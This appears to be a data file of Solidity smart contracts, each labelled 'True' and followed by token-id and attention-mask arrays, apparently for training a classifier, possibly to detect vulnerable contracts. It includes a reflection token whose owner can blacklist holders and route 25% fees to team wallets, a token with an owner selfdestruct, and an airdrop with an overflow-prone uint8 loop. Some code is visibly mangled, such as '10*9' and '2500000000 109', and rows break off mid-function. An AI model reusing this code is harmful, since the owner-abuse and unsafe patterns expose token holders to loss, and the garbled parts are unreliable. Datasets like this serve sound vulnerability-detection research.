_msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ForeverUp is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "KRAKEN"; string private constant _symbol = "THE KRAKEN"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 20; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 20; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) \|\| _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] \|\| _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 109; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) 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pragma solidity ^0.4.24; contract owned { address public owner; constructor () public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); constructor () public { totalSupply = 100000000000000000000000000; balanceOf[msg.sender] = totalSupply; name = "SensusNetwork"; symbol = "SENX"; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } } contract SensusNetwork is owned, TokenERC20 { function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value >= balanceOf[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 3206, 3079, 1063, 4769, 2270, 3954, 1025, 9570, 2953, 1006, 1007, 2270, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 16913, 18095, 2069, 12384, 2121, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1007, 1025, 1035, 1025, 1065, 3853, 4651, 12384, 2545, 5605, 1006, 4769, 2047, 12384, 2121, 1007, 2069, 12384, 2121, 2270, 1063, 3954, 1027, 2047, 12384, 2121, 1025, 1065, 1065, 8278, 19204, 2890, 6895, 14756, 3372, 1063, 3853, 4374, 29098, 12298, 2389, 1006, 4769, 1035, 2013, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 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12411, 2595, 1000, 1025, 1065, 3853, 1035, 4651, 1006, 4769, 1035, 2013, 1010, 4769, 1035, 2000, 1010, 21318, 3372, 1035, 3643, 1007, 4722, 1063, 5478, 1006, 1035, 2000, 999, 1027, 1014, 2595, 2692, 1007, 1025, 5478, 1006, 5703, 11253, 1031, 1035, 2013, 1033, 1028, 1027, 1035, 3643, 1007, 1025, 5478, 1006, 5703, 11253, 1031, 1035, 2000, 1033, 1009, 1035, 3643, 1028, 5703, 11253, 1031, 1035, 2000, 1033, 1007, 1025, 21318, 3372, 3025, 26657, 2015, 1027, 5703, 11253, 1031, 1035, 2013, 1033, 1009, 5703, 11253, 1031, 1035, 2000, 1033, 1025, 5703, 11253, 1031, 1035, 2013, 1033, 1011, 1027, 1035, 3643, 1025, 5703, 11253, 1031, 1035, 2000, 1033, 1009, 1027, 1035, 3643, 1025, 12495, 2102, 4651, 1006, 1035, 2013, 1010, 1035, 2000, 1010, 1035, 3643, 1007, 1025, 20865, 1006, 5703, 11253, 1031, 1035, 2013, 1033, 1009, 5703, 11253, 1031, 1035, 2000, 1033, 1027, 1027, 3025, 26657, 2015, 1007, 1025, 1065, 3853, 4651, 1006, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 2270, 1063, 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/** Submitted for verification at Etherscan.io on 2022-04-14 / // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @title NonReceivableInitializedProxy * @author Anna Carroll */ contract NonReceivableInitializedProxy { // address of logic contract address public immutable logic; // ======== Constructor ========= constructor(address _logic, bytes memory _initializationCalldata) { logic = _logic; // Delegatecall into the logic contract, supplying initialization calldata (bool _ok, bytes memory returnData) = _logic.delegatecall( _initializationCalldata ); // Revert if delegatecall to implementation reverts require(_ok, string(returnData)); } // ======== Fallback ========= fallback() external payable { address _impl = logic; assembly { let ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize()) let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0) let size := returndatasize() returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 5840, 1011, 2403, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1023, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 2512, 2890, 3401, 11444, 3468, 5498, 20925, 3550, 21572, 18037, 1008, 1030, 3166, 4698, 10767, 1008, 1013, 3206, 2512, 2890, 3401, 11444, 3468, 5498, 20925, 3550, 21572, 18037, 1063, 1013, 1013, 4769, 1997, 7961, 3206, 4769, 2270, 10047, 28120, 3085, 7961, 1025, 1013, 1013, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 9570, 2953, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 9570, 2953, 1006, 4769, 1035, 7961, 1010, 27507, 3638, 1035, 3988, 3989, 9289, 15150, 2696, 1007, 1063, 7961, 1027, 1035, 7961, 1025, 1013, 1013, 11849, 9289, 2140, 2046, 1996, 7961, 3206, 1010, 17731, 3988, 3989, 2655, 2850, 2696, 1006, 22017, 2140, 1035, 7929, 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pragma solidity ^0.4.19; interface ERC20 { function transfer(address to, uint256 value) public returns (bool); } /** * @title Airdrop contract used to perform bulk transfers within a single transaction. / contract Airdrop { address _owner; modifier ownerOnly { if (_owner == msg.sender) _; } function Airdrop() public { _owner = msg.sender; } function transferOwnership(address newOwner) public ownerOnly { _owner = newOwner; } /* * @dev Perform the airdrop. Restricted to no more than 300 accounts in a single transactions * @notice More than 300 accounts will exceed gas block limit. It is recommended to perform * batches using no more than 250 accounts as the actual gas cost is dependent on the * tokenContractAddress's implementation of transfer()) * * @param tokenContractAddress The address of the token contract being transfered. * @param recipients Array of accounts receiving tokens. * @param amounts Array of amount of tokens to be transferred. Index of amounts lines up with * the index of recipients. */ function drop(address tokenContractAddress, address[] recipients, uint256[] amounts) public ownerOnly { require(tokenContractAddress != 0x0); require(recipients.length == amounts.length); require(recipients.length <= 300); ERC20 tokenContract = ERC20(tokenContractAddress); for (uint8 i = 0; i < recipients.length; i++) { tokenContract.transfer(recipients[i], amounts[i]); } } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2539, 1025, 8278, 9413, 2278, 11387, 1063, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 2270, 5651, 1006, 22017, 2140, 1007, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 2516, 2250, 25711, 3206, 2109, 2000, 4685, 9625, 15210, 2306, 1037, 2309, 12598, 1012, 1008, 1013, 3206, 2250, 25711, 1063, 4769, 1035, 3954, 1025, 16913, 18095, 3954, 2239, 2135, 1063, 2065, 1006, 1035, 3954, 1027, 1027, 5796, 2290, 1012, 4604, 2121, 1007, 1035, 1025, 1065, 3853, 2250, 25711, 1006, 1007, 2270, 1063, 1035, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 4651, 12384, 2545, 5605, 1006, 4769, 2047, 12384, 2121, 1007, 2270, 3954, 2239, 2135, 1063, 1035, 3954, 1027, 2047, 12384, 2121, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 4685, 1996, 2250, 25711, 1012, 7775, 2000, 2053, 2062, 2084, 3998, 6115, 1999, 1037, 2309, 11817, 1008, 1030, 5060, 2062, 2084, 3998, 6115, 2097, 13467, 3806, 3796, 5787, 1012, 2009, 2003, 6749, 2000, 4685, 1008, 14108, 2229, 2478, 2053, 2062, 2084, 5539, 6115, 2004, 1996, 5025, 3806, 3465, 2003, 7790, 2006, 1996, 1008, 19204, 8663, 6494, 25572, 14141, 8303, 1004, 1001, 4464, 1025, 1055, 7375, 1997, 4651, 1006, 1007, 1007, 1008, 1008, 1030, 11498, 2213, 19204, 8663, 6494, 25572, 14141, 8303, 1996, 4769, 1997, 1996, 19204, 3206, 2108, 4651, 2098, 1012, 1008, 1030, 11498, 2213, 15991, 9140, 1997, 6115, 4909, 19204, 2015, 1012, 1008, 1030, 11498, 2213, 8310, 9140, 1997, 3815, 1997, 19204, 2015, 2000, 2022, 4015, 1012, 5950, 1997, 8310, 3210, 2039, 2007, 1008, 1996, 5950, 1997, 15991, 1012, 1008, 1013, 3853, 4530, 1006, 4769, 19204, 8663, 6494, 25572, 14141, 8303, 1010, 4769, 1031, 1033, 15991, 1010, 21318, 3372, 17788, 2575, 1031, 1033, 8310, 1007, 2270, 3954, 2239, 2135, 1063, 5478, 1006, 19204, 8663, 6494, 25572, 14141, 8303, 999, 1027, 1014, 2595, 2692, 1007, 1025, 5478, 1006, 15991, 1012, 3091, 1027, 1027, 8310, 1012, 3091, 1007, 1025, 5478, 1006, 15991, 1012, 3091, 1026, 1027, 3998, 1007, 1025, 9413, 2278, 11387, 19204, 8663, 6494, 6593, 1027, 9413, 2278, 11387, 1006, 19204, 8663, 6494, 25572, 14141, 8303, 1007, 1025, 2005, 1006, 21318, 3372, 2620, 1045, 1027, 1014, 1025, 1045, 1026, 15991, 1012, 3091, 1025, 1045, 1009, 1009, 1007, 1063, 19204, 8663, 6494, 6593, 1012, 4651, 1006, 15991, 1031, 1045, 1033, 1010, 8310, 1031, 1045, 1033, 1007, 1025, 1065, 1065, 1065, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 \|\| c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { if (msg.sender != owner) { revert(); } _; } function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } function destruct() public onlyOwner { selfdestruct(owner); } } contract ERC20Basic { function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public; event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public; function approve(address spender, uint256 value) public; event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 public totalSupply; modifier onlyPayloadSize(uint256 size) { if(msg.data.length < size + 4) { revert(); } _; } function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } function approve(address _spender, uint256 _value) public { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert(); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract BCQ is StandardToken, Ownable { string public constant name = "BCQ"; string public constant symbol = "BCQ"; uint256 public constant decimals = 8; function BCQ() public { owner = msg.sender; totalSupply=3000000000000000000; balances[owner]=totalSupply; } function () public { revert(); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 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/** Submitted for verification at Etherscan.io on 2021-11-08 / // SPDX-License-Identifier: MIT pragma solidity ^0.8.3; interface IPriceFeedProvider { /** * Returns the latest price for a price feed. * It reverts if the feed id is invalid: there was no price feed address provided for the given id yet / function getLatestPrice(uint8 _priceFeedId) external view returns (int256); } interface AggregatorV3Interface { function decimals() external view returns ( uint8 ); function description() external view returns ( string memory ); function version() external view returns ( uint256 ); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData( uint80 _roundId ) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // File: contracts/PriceFeedProvider.sol pragma solidity ^0.8.3; contract PriceFeedProvider is IPriceFeedProvider { event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); address admin; mapping(uint8 => address) private priceFeeds; constructor() { admin = msg.sender; } /* * Returns the latest price for a price feed. * It reverts if the feed id is invalid: there was no price feed address provided for the given id yet / function getLatestPrice(uint8 _priceFeedId) external view override returns (int256) { require( priceFeeds[_priceFeedId] != address(0), "invalid price feed id" ); AggregatorV3Interface priceFeed; priceFeed = AggregatorV3Interface(priceFeeds[_priceFeedId]); (, int256 price, , , ) = priceFeed.latestRoundData(); return price; } /* * Inserts or updates the price feed address for the given price feed id */ function upsertFeed(uint8 _id, address _dataFeedAddress) external { require(msg.sender == admin, "admin only"); priceFeeds[_id] = _dataFeedAddress; } function transferOwnership(address newAdmin) external { require(msg.sender == admin, "admin only"); emit OwnershipTransferred(admin, newAdmin); admin = newAdmin; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2340, 1011, 5511, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1017, 1025, 8278, 12997, 17599, 7959, 2098, 21572, 17258, 2121, 1063, 1013, 1008, 1008, 1008, 5651, 1996, 6745, 3976, 2005, 1037, 3976, 5438, 1012, 1008, 2009, 7065, 8743, 2015, 2065, 1996, 5438, 8909, 2003, 19528, 1024, 2045, 2001, 2053, 3976, 5438, 4769, 3024, 2005, 1996, 2445, 8909, 2664, 1008, 1013, 3853, 2131, 26786, 25856, 17599, 1006, 21318, 3372, 2620, 1035, 3976, 7959, 2098, 3593, 1007, 6327, 3193, 5651, 1006, 20014, 17788, 2575, 1007, 1025, 1065, 8278, 24089, 2615, 2509, 18447, 2121, 12172, 1063, 3853, 26066, 2015, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 2620, 1007, 1025, 3853, 6412, 1006, 1007, 6327, 3193, 5651, 1006, 5164, 3638, 1007, 1025, 3853, 2544, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1013, 2131, 22494, 4859, 2850, 2696, 1998, 6745, 22494, 4859, 2850, 2696, 2323, 2119, 5333, 1000, 2053, 2951, 2556, 1000, 1013, 1013, 2065, 2027, 2079, 2025, 2031, 2951, 2000, 3189, 1010, 2612, 1997, 4192, 4895, 13462, 5300, 1013, 1013, 2029, 2071, 2022, 28616, 18447, 2121, 28139, 3064, 2004, 5025, 2988, 5300, 1012, 3853, 2131, 22494, 4859, 2850, 2696, 1006, 21318, 3372, 17914, 1035, 2461, 3593, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17914, 2461, 3593, 1010, 20014, 17788, 2575, 3437, 1010, 21318, 3372, 17788, 2575, 2318, 4017, 1010, 21318, 3372, 17788, 2575, 7172, 4017, 1010, 21318, 3372, 17914, 4660, 2378, 22494, 4859, 1007, 1025, 3853, 6745, 22494, 4859, 2850, 2696, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17914, 2461, 3593, 1010, 20014, 17788, 2575, 3437, 1010, 21318, 3372, 17788, 2575, 2318, 4017, 1010, 